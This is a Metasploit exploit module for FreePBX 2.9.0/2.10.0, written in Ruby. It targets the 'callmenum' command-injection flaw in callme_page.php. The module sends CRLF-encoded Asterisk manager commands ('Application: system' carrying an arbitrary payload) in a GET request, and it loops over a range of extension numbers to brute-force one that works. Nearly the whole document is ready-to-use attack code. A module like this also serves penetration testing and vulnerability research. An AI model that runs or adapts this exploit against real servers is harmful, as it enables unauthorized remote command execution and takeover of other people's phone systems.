FreePBX 2.9.0/2.10.0 - 'callmenum' Remote Code Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',
			'Description'    => %q{
				This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
				Due to the way callme_page.php handles the 'callmenum' parameter, it
				is possible to inject code to the '$channel' variable in function
				callme_startcall in order to gain remote code execution.

				Please note in order to use this module properly, you must know the
				extension number, which can be enumerated or bruteforced, or you may
				try some of the default extensions such as 0 or 200.  Also, the call
				has to be answered (or go to voice).

				Tested on both Elastix and FreePBX ISO image installs.
			},
			'Author'         => [ 'muts','Martin Tschirsich' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/18649/' ]
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 20 2012'))

		register_options(
			[
				OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),
			], self.class)
	end

	def exploit
		# Check range input
		if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/
			min = $1.to_i
			max = $2.to_i
		else
			print_error("Please specify a range for option 'EXTENSION'")
			return
		end

		cmd = Rex::Text.uri_encode(payload.encoded)

		(min..max).each do |e|
			connect
			print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")
			res = send_request_raw({
				'method' => 'GET',
				'uri' => "/recordings/misc/callme_page.php?action=c&callmenum="+e.to_s+"@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",
				'version' => '1.0',
				'vhost'   => rhost
			})
			handler
			disconnect
		end
	end

end